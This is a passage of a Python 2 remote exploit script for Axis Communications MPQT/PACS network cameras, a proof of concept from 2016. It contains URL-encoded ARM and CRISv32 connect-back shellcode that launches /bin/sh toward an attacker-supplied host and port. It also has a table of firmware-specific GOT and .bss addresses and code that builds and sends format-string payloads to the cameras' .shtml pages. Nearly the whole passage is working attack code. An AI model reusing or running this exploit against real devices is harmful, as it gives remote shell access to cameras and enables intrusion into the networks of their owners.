		"%05%b4"	#push    {r0, r2}
		"%69%46"	#mov     r1, sp
		"%0b%27"	#mov     r7, #11
		"%01%df"	#svc     1
		#
		"%c0%46"	# .align 2 (NOP)
		"%02%00"	# .short 0x2		(struct sockaddr)
		"PP1PP0"	# .short 0x3412		(port: 0x1234)
		"IP1IP2IP3IP4"	#.byte 192,168,57,1	(ip: 192.168.57.1)
		# .ascii "/bin/sh\0\0"
		"%2f%62%69%6e"	# /bin
		"%2f%73%68%00%00"	# /sh\x00\x00
		"%00%00%00%00"
		"%c0%46"
		], '')	


		# Connect-back shell for Axis CRISv32
		# Written by mcw noemail eu 2016
		#
		CRISv32 = string.join([
		#close(0)
		"%7a%86"		# clear.d r10 
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#close(1)
		"%41%a2"		# moveq 1,r10
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#close(2)
		"%42%a2"		# moveq 2,r10
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#
		"%10%e1"		# addoq 16,sp,acr
		"%42%92"		# moveq 2,r9
		"%df%9b"		# move.w r9,[acr]
		"%10%e1"		# addoq 16,sp,acr
		"%02%f2"		# addq 2,acr
		#PORT
		"%5f%9ePP1PP0"		# move.w 0xPP1PP0,r9 #
		"%df%9b"		# move.w r9,[acr]
		"%10%e1"		# addoq 16,sp,acr
		"%6f%96"		# move.d acr,r9
		"%04%92"		# addq 4,r9
		#IP
		"%6f%feIP1IP2IP3IP4"	# move.d IP4IP3IP2IP1,acr
		"%e9%fb"		# move.d acr,[r9]
		#
		#socket()
		"%42%a2"		# moveq 2,r10
		"%41%b2"		# moveq 1,r11
		"%7c%86"		# clear.d r12
		"%6e%96"		# move.d $sp,$r9
		"%e9%af"		# move.d $r10,[$r9+]
		"%e9%bf"		# move.d $r11,[$r9+]
		"%e9%cf"		# move.d $r12,[$r9+]
		"%41%a2"		# moveq 1,$r10
		"%6e%b6"		# move.d $sp,$r11
		"%5f%9c%66%00"		# movu.w 0x66,$r9
		"%3d%e9"		# break 13
		#
		"%6a%96"		# move.d $r10,$r9
		"%0c%e1"		# addoq 12,$sp,$acr
		"%ef%9b"		# move.d $r9,[$acr]
		"%0c%e1"		# addoq 12,$sp,$acr
		"%6e%96"		# move.d $sp,$r9
		"%10%92"		# addq 16,$r9
		"%6f%aa"		# move.d [$acr],$r10
		"%69%b6"		# move.d $r9,$r11
		"%50%c2"		# moveq 16,$r12
		#
		# connect()
		"%6e%96"		# move.d $sp,$r9
		"%e9%af"		# move.d $r10,[$r9+]
		"%e9%bf"		# move.d $r11,[$r9+]
		"%e9%cf"		# move.d $r12,[$r9+]
		"%43%a2"		# moveq 3,$r10
		"%6e%b6"		# move.d $sp,$r11
		"%5f%9c%66%00"		# movu.w 0x66,$r9 
		"%3d%e9"		# break 13
		# dup(0) already in socket
		#dup(1)
		"%6f%aa"		# move.d [$acr],$r10
		"%41%b2"		# moveq 1,$r11
		"%5f%9c%3f%00"		# movu.w 0x3f,$r9
		"%3d%e9"		# break 13
		#
		#dup(2)
		"%6f%aa"		# move.d [$acr],$r10
		"%42%b2"		# moveq 2,$r11
		"%5f%9c%3f%00"		# movu.w 0x3f,$r9
		"%3d%e9"		# break 13
		#
		#execve("/bin/sh",NULL,NULL)
		"%90%e2"		# subq 16,$sp
		"%6e%96"		# move.d $sp,$r9
		"%6e%a6"		# move.d $sp,$10
		"%6f%0e%2f%2f%62%69"	# move.d 69622f2f,$r0
		"%e9%0b"		# move.d $r0,[$r9]
		"%04%92"		# addq 4,$r9
		"%6f%0e%6e%2f%73%68"	# move.d 68732f6e,$r0
		"%e9%0b"		# move.d $r0,[$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%04%92"		# addq 4,$r9
		"%e9%ab"		# move.d $r10,[$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%10%e2"		# addq 16,$sp
		"%6e%f6"		# move.d $sp,$acr
		"%6e%96"		# move.d $sp,$r9
		"%6e%b6"		# move.d $sp,$r11
		"%7c%86"		# clear.d $r12
		"%4b%92"		# moveq 11,$r9
		"%3d%e9"		# break 13
			], '')	


		if self.target == 'MIPSel':
			return MIPSel
		elif self.target == 'ARMel':
			return ARMel
		elif self.target == 'CRISv32':
			return CRISv32
		elif self.target == 'NCSH1':
			return NCSH
		elif self.target == 'NCSH2':
			return NCSH
		else:
			print "[!] Unknown shellcode! (%s)" % str(self.target)
			sys.exit(1)


class FMSdb:

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose

	def FMSkey(self,target):
		self.target = target

		target_db = {

#-----------------------------------------------------------------------
# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)
#-----------------------------------------------------------------------

#
# Using POP format string, AKA 'Old Style'
#
		# MPQT
		'MIPS-5.85.x':	 [
				0x41f370,	# Adjust to GOT free() address
				0x420900,	# .bss shellcode address
				2,		# 1st POP's
				2,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.40.3': [
				0x41e41c,	# Adjust to GOT free() address
				0x4208cc,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'ax',		# Aligns injected code
				450,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.4x': [	
				0x41e4cc,	# Adjust to GOT free() address
				0x42097c,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'ax',		# Aligns injected code
				450,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.5x': [
				0x41d11c,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				5,		# 1st POP's
				15,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.55x': [	
				0x41d11c,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				11,		# 1st POP's
				9,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# Shared with MPQT and PACS
		'MIPS-5.6x': [	
				0x41d048,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				5,		# 1st POP's
				15,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type

		],

		# MPQT
		'MIPS-5.7x': [	
				0x41d04c,	# Adjust to GOT free() address
				0x41f718,	# .bss shellcode address
				2,		# 1st POP's
				14,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.75x': [
				0x41c498,	# Adjust to GOT free() address
				0x41daf0,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# Shared with MPQT and PACS
		'MIPS-5.8x': [
				0x41d0c0,	# Adjust to GOT free() address
				0x41e740,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.9x': [ 
				0x41d0c0,	# Adjust to GOT free() address
				0x41e750,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.1x': [
				0x41c480,	# Adjust to GOT free() address
				0x41dac0,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.2x': [
				0x41e578,	# Adjust to GOT free() address
				0x41fae0,	# .bss shellcode address
				2,		# 1st POP's
				2,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.20x': [
				0x41d0c4,	# Adjust to GOT free() address
				0x41e700,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# PACS
		'MIPS-1.3x': [
				0x41e4cc,	# Adjust to GOT free() address
				0x420a78,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# PACS
		'MIPS-1.1x': [
				0x41e268,	# Adjust to GOT free() address
				0x420818,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

#
# Tested with execstack to set executable stack flag bit on bin's and lib's
#
# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.
#

		# ARMel with bin/libs executable stack flag set with 'execstack'
		# MPQT
		'ARM-5.50x': [			# 
				0x1c1b4,	# Adjust to GOT free() address
				0x1e7c8,	# .bss shellcode address
				93,		# 1st POP's
				1,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'ARMel'		# Shellcode type (ARMel)
		],

		# ARMel with bin/libs executable stack flag set with 'execstack'
		# MPQT
		'ARM-5.55x': [			# 
				0x1c15c,	# Adjust to GOT free() address
				0x1e834,	# .bss shellcode address
				59,		# 1st POP's
				80,		# 2nd POP's
				'axis',		# Aligns injected code
				800,		# How big buffer before shellcode
				'ARMel'		# Shellcode type (ARMel)
		],

#
# Using direct parameter access format string, AKA 'New Style'
#
		# MPQT
		'ARM-NCSH-5.20x': [		# AXIS P1311 5.20 (id=root)
				0x1c1b4,	# Adjust to GOT free() address
				0x10178,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.2x': [		# 
				0x1c1b4,	# Adjust to GOT free() address
				0x1013c,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.4x': [		# 
				0x1c1b4,	# Adjust to GOT free() address
				0x101fc,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],
#
# Using POP format string, AKA 'Old Style'
#

		# MPQT
		'ARM-NCSH-5.5x': [		# 
				0x1c15c,	# Adjust to GOT free() address
				0xfdcc,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				97,		# 1st POP's
				0,		# 2nd POP's
				41,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.6x': [		# 
				0x1c15c,	# Adjust to GOT free() address
				0xfcec,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				97,		# 1st POP's
				0,		# 2nd POP's
				41,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.7x': [		# 
				0x1c1c0,	# Adjust to GOT free() address
				0xf800,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				132,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# Will go in endless loop after exit of nc shell... DoS sux
		# MPQT
		'ARM-NCSH-5.8x': [		# 
				0x1b39c,	# Adjust to GOT free() address
				0xf8c0,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				98,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				1,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-6.1x': [		# 
				0x1d2a4,	# Adjust to GOT free() address
#				0xecc4,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				0xecc8,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				106,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				1,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],
#
# Using POP format string, AKA 'Old Style'
#

		# MPQT
		'CRISv32-5.5x': [		# 
				0x8d148,	# Adjust to GOT free() address
				0x8f5a8,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.4x': [		# 
				0x8d0e0,	# Adjust to GOT free() address
				0x8f542,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.2x': [		# 
				0x8d0b4,	# Adjust to GOT free() address
				0x8f4d6,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.20.0': [		# 
				0x8d0e4,	# Adjust to GOT free() address
				0x8f546,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		]


	}

		if self.target == 0:
			return target_db
			
		if not self.target in target_db:
			print "[!] Unknown FMS key: %s!" % self.target
			sys.exit(1)
	
		if self.verbose:
			print "[Verbose] Number of availible FMS keys:",len(target_db)

		return target_db


#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
		i = int(tmp)
		if i < 0 or i > 255:
			return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
			# Or we check again if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False



if __name__ == '__main__':

#
# Help, info and pre-defined values
#	
	INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'
	HTTP = "http"
	HTTPS = "https"
	proto = HTTP
	verbose = False
	noexploit = False
	lhost = '192.168.0.1'	# Default Local HOST
	lport = '31337'		# Default Local PORT
	rhost = '192.168.0.90'	# Default Remote HOST
	rport = '80'		# Default Remote PORT
	#  Not needed for the SSI exploit, here for possible future usage.
#	creds = 'root:pass'
	creds = False

#
# Try to parse all arguments
#
	try:
		arg_parser = argparse.ArgumentParser(
#		prog=sys.argv[0],
		prog='axis-ssid-PoC.py',
                description=('[*]' + INFO + '\n'))
		arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
		arg_parser.add_argument('--fms', required=False, help='Manual FMS key')
		if creds:
			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
		arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
		arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
		arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: %s\n" % str(e)
		sys.exit(1)

	# We want at least one argument, so print out help
	if len(sys.argv) == 1:
		arg_parser.parse_args(['-h'])

	print "\n[*]",INFO

	if args.verbose:
		verbose = args.verbose

	# Print out info from dictionary
	if args.dict:
		target = FMSdb(rhost,verbose).FMSkey(0)
		print "[db] Number of FMS keys:",len(target)

		# Print out detailed info from dictionary
		if verbose:

			print "[db] Target details of FMS Keys availible for manual xploiting"
			print "\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]"

			for tmp in range(0,len(target)):
				Key = sorted(target.keys())[tmp]
				temp = re.split('[-]',Key)[0:10]

				if temp[1] == 'NCSH':
					print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6]

			print "\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]"
			for tmp in range(0,len(target)):
				Key = sorted(target.keys())[tmp]
				temp = re.split('[-]',Key)[0:10]

				if temp[1] != 'NCSH':
					print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6]

			print "\n"
		else:
			print "[db] Target FMS Keys availible for manual xploiting instead of using auto mode:"
			Key = ""
			for tmp in range(0,len(target)):
				Key += sorted(target.keys())[tmp]
				Key += ', '
			print '\n',Key,'\n'
		sys.exit(0)

#
# Check validity, update if needed, of provided options
#
	if args.https:
		proto = HTTPS
		if not args.rport:
			rport = '443'

	if creds and args.auth:
		creds = args.auth

	if args.noexploit:
		noexploit = args.noexploit

	if args.rport:
		rport = args.rport

	if args.rhost:
		rhost = args.rhost

	if args.lport:
		lport = args.lport

	if args.lhost:
		lhost = args.lhost

	# Check if LPORT is valid
	if not Validate(verbose).Port(lport):
		print "[!] Invalid LPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RPORT is valid
	if not Validate(verbose).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if LHOST is valid IP or FQDN, get IP back
	lhost = Validate(verbose).Host(lhost)
	if not lhost:
		print "[!] Invalid LHOST"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)


#
# Validation done, start print out stuff to the user
#
	if noexploit:
		print "[i] Test mode selected, no exploiting..."
	if args.https:
		print "[i] HTTPS / SSL Mode Selected"
	print "[i] Remote target IP:",rhost
	print "[i] Remote target PORT:",rport
	print "[i] Connect back IP:",lhost
	print "[i] Connect back PORT:",lport

	rhost = rhost + ':' + rport

#
# FMS key is required into this PoC
#
	if not args.fms:
		print "[!] FMS key is required!"
		sys.exit(1)
	else:
		Key = args.fms
		print "[i] Trying with FMS key:",Key

#
# Prepare exploiting
#
	# Look up the FMS key in dictionary and return pointer for FMS details to use
	target = FMSdb(rhost,verbose).FMSkey(Key)

	if target[Key][6] == 'NCSH1':
		NCSH1 = target[Key][6]
		NCSH2 = ""
	elif target[Key][6] == 'NCSH2':
		NCSH2 = target[Key][6]
		NCSH1 = ""
	else:
		NCSH1 = ""
		NCSH2 = ""
	
	if Key == 'ARM-NCSH-5.8x':
		print "\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm exiting before that shit....\n\n"
		sys.exit(0)

	print "[i] Preparing shellcode:",str(target[Key][6])

	# We don't use url encoded shellcode with Netcat shell
	# This is for MIPS/CRISv32 and ARM shellcode
	if not NCSH1 and not NCSH2:
		FMSdata = target[Key][4]		# This entry aligns the injected shellcode

		# Building up the url encoded shellcode for sending to the target,
		# and replacing LHOST / LPORT in shellcode to choosen values
		
		# part of first 500 decoded bytes will be overwritten during stage #2, and since
		# there is different 'tailing' on the request internally, keep it little more than needed, to be safe.
		# Let it be 0x00, just for fun.
		FMSdata += '%00' * target[Key][5]

		# Connect back IP to url encoded
		ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))
		ip_hex = ip_hex.split()
		IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];

		# Let's break apart the hex code of LPORT into two bytes
		port_hex = hex(int(lport))[2:]
		port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
		port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
		port_hex = port_hex.split()
	
		if (target[Key][6]) == 'MIPSel':
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%ff"
				PP0 = '%{:02x}'.format((int(port_hex[0],16)-1))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format((int(port_hex[0],16)-1))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%00"
				PP0 = '%{:02x}'.format(int(port_hex[0],16))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format(int(port_hex[0],16))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		elif (target[Key][6]) == 'CRISv32':
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%00"
				PP0 = '%{:02x}'.format(int(port_hex[0],16))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format(int(port_hex[0],16))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		else:
			print "[!] Unknown shellcode! (%s)" % str(target[Key][6])
			sys.exit(1)

		# Replace LHOST / LPORT in URL encoded shellcode
		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("IP1",IP1)
		shell = shell.replace("IP2",IP2)
		shell = shell.replace("IP3",IP3)
		shell = shell.replace("IP4",IP4)
		shell = shell.replace("PP0",PP0)
		shell = shell.replace("PP1",PP1)
		FMSdata += shell

#
# Calculate the FMS values to be used
#
	# Get pre-defined values
	ALREADY_WRITTEN = 40	# Already 'written' in the daemon before our FMS
#	POP_SIZE = 8
	POP_SIZE = 1

	GOThex = target[Key][0]
	BSShex = target[Key][1]
	GOTint = int(GOThex)

	# 'One-Write-Where-And-What'
	if not NCSH1 and not NCSH2:

		POP1 = target[Key][2]
		POP2 = target[Key][3]

		# Calculate for creating the FMS code
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
		GOTint = (GOTint - ALREADY_WRITTEN)
	
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)

		BSSint = int(BSShex)
		BSSint = (BSSint - GOTint - ALREADY_WRITTEN)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint

	# 'Two-Write-Where-And-What' using "New Style"
	elif NCSH2:

		POP1 = target[Key][2]
		POP2 = target[Key][3]
		POP3 = target[Key][4]
		POP4 = target[Key][5]
 		POP2_SIZE = 2
		
 		# We need to count higher than provided address for the jump
		BaseAddr = 0x10000 + BSShex
	
		# Calculate for creating the FMS code
		GOTint = (GOTint - ALREADY_WRITTEN)

		ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint
		
		# Calculate FirstWhat value
		FirstWhat = BaseAddr - (ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat

		# Calculate SecondWhat value, so it always is 0x20300
		SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)

		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("LHOST",lhost)
		shell = shell.replace("LPORT",lport)

		FirstWhat = FirstWhat - len(shell)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
	
	
	# 'Two-Write-Where-And-What' using "Old Style"
	elif NCSH1:

		POP1 = target[Key][2]
		POP2 = target[Key][3]
		POP3 = target[Key][4]
		POP4 = target[Key][5]
		POP2_SIZE = 2

		# FirstWhat writes with 4 bytes (Y) (0x0002YYYY)
		# SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)
		if BSShex > 0x10000:
			MSB = 1
		else:
			MSB = 0

 		# We need to count higher than provided address for the jump
		BaseAddr = 0x10000 + BSShex

		# Calculate for creating the FMS code
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
		
		GOTint = (GOTint - ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)
		
		# Calculate FirstWhat value
		FirstWhat = BaseAddr - (ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)

		# Calculate SecondWhat value, so it always is 0x203[00] or [01]
		SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB

		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("LHOST",lhost)
		shell = shell.replace("LPORT",lport)

		GOTint = GOTint - len(shell)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
	
	else:
		print "[!] NCSH missing, exiting"
		sys.exit(1)
#
# Let's start the exploiting procedure
#

#
# Stage one
#
	if NCSH1 or NCSH2:

		# "New Style" needs to make the exploit in two stages
		if NCSH2:
			FMScode = do_FMS(rhost,verbose)
			# Writing 'FirstWhere' and 'SecondWhere'
			# 1st request
			FMScode.AddADDR(GOTint) # Run up to free() GOT address
			#
			# 1st and 2nd "Write-Where"
			FMScode.AddDirectParameterN(POP1)	# Write 1st Where
			FMScode.Add("XX")			# Jump up two bytes for next address
			FMScode.AddDirectParameterN(POP2)	# Write 2nd Where
			FMSdata = FMScode.FMSbuild()
		else:
			FMSdata = ""

		print "[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))
	else:
		print "[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))

	# Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM
	# Actually, any valid and public readable .shtml file will work...
	# (One of the two below seems always to be usable)
	#
	# For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two
	# For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url
	#
	try:
		target_url = "/httpDisabled.shtml?user_agent="
		if noexploit:
			target_url2 = target_url
		else:
			target_url2 = "/httpDisabled.shtml?&http_user="

		if NCSH2:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
		else:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
	except urllib2.HTTPError as e:
		if e.code == 404:
			print "[<] Error",e.code,e.reason
			target_url = "/view/viewer_index.shtml?user_agent="
			if noexploit:
				target_url2 = target_url
			else:
				target_url2 = "/view/viewer_index.shtml?&http_user="
			print "[>] Using alternative target shtml"
			if NCSH2:
				html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
			else:
				html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
	except Exception as e:
		if not NCSH2:
			print "[!] Shellcode delivery failed:",str(e)
			sys.exit(1)
#
# Stage two
#

#
# Building and sending the FMS code to the target
#
	print "[i] Building the FMS code..."

	FMScode = do_FMS(rhost,verbose)

	# This is an 'One-Write-Where-And-What' for FMS
	#
	# Stack Example:
	#
	# Stack content	|	Stack address (ASLR)
	#
	# 0x0		|	@0x7e818dbc -> [POP1's]
	# 0x0		|	@0x7e818dc0 -> [free () GOT address]
	# 0x7e818dd0	|	@0x7e818dc4>>>>>+ "Write-Where" (%n)
	# 0x76f41fb8	|	@0x7e818dc8     | -> [POP2's]
	# 0x76f3d70c	|	@0x7e818dcc     | -> [BSS shell code address]
	# 0x76f55ab8	|	@0x7e818dd0<<<<<+ "Write-What" (%n)
	# 0x1		|	@0x7e818dd4
	#
	if not NCSH1 and not NCSH2:
		FMScode.AddPOP(POP1)		# 1st serie of 'Old Style' POP's 
		FMScode.AddADDR(GOTint)		# GOT Address
		FMScode.AddWRITEn(1)		# 4 bytes Write-Where
#		FMScode.AddWRITElln(1)		# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)

		FMScode.AddPOP(POP2)		# 2nd serie of 'Old Style' POP's
